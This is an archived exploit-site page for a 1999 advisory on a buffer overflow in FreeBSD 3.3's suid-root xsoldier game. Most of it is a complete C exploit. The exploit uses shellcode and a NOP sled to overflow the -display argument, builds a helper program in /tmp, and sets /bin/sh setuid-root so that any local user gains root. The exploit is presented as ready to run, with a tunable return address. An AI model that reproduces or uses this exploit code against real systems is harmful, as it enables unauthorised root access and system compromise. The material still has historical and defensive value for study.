exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

xsoldier.c

xsoldier.c
Posted Dec 16, 1999
Authored by Brock Tellier

A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root access. This user does not have to have a valid $DISPLAY to exploit this.

tags | exploit, root
systems | freebsd
SHA-256 | 411e25fa4d0f8f1546ae437eca6b7cd89ef9c9556cec361f9418db59086b8ed4

xsoldier.c

Change Mirror Download
Greetings,

OVERVIEW
A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root
access. This user does not have to have a valid $DISPLAY to exploit this.

BACKGROUND
Only FreeBSD 3.3-RELEASE has been tested. xsoldier, suid-root by default, was
installed as part of the X11 games packages via /stand/sysinstall.

DETAILS
More problems with FreeBSD 3.3 ports. This time with xsoldier, a suid-root
game. A simple overflow in the -display option allows any user to gain root.
Although xsoldier only runs under X, a long -display arg on the CL will allow
us to gain root.

--- xsoldierx.c ---
/*

* xsoldier exploit for Freebsd-3.3-RELEASE
* Drops a suid root shell in /bin/sh
* Brock Tellier btellier@usa.net
*/


#include <stdio.h>

char shell[]=3D /* mudge@l0pht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";

#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"

void buildui() {
FILE *fp;
char cc[100];
fp =3D fopen("/tmp/ui.c", "w");
fprintf(fp, CODE);
fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
system(cc);
}

main (int argc, char *argv[] ) {
int x =3D 0;
int y =3D 0;
int offset =3D 0;
int bsize =3D 4400;
char buf[bsize];
int eip =3D 0xbfbfdb65; /* works for me */
buildui();

if (argv[1]) {
offset =3D atoi(argv[1]);
eip =3D eip + offset;
}
fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\n");
fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
fprintf(stderr, "eip=3D0x%x offset=3D%d buflen=3D%d\n", eip, offset, bsize);

for ( x =3D 0; x < 4325; x++) buf[x] =3D 0x90;
fprintf(stderr, "NOPs to %d\n", x);


for ( y =3D 0; y < 67 ; x++, y++) buf[x] =3D shell[y];
fprintf(stderr, "Shellcode to %d\n",x);


buf[x++] =3D eip & 0x000000ff;
buf[x++] =3D (eip & 0x0000ff00) >> 8;
buf[x++] =3D (eip & 0x00ff0000) >> 16;
buf[x++] =3D (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);

buf[bsize]=3D'\0';

execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);

}

-------

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier@usa.net

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close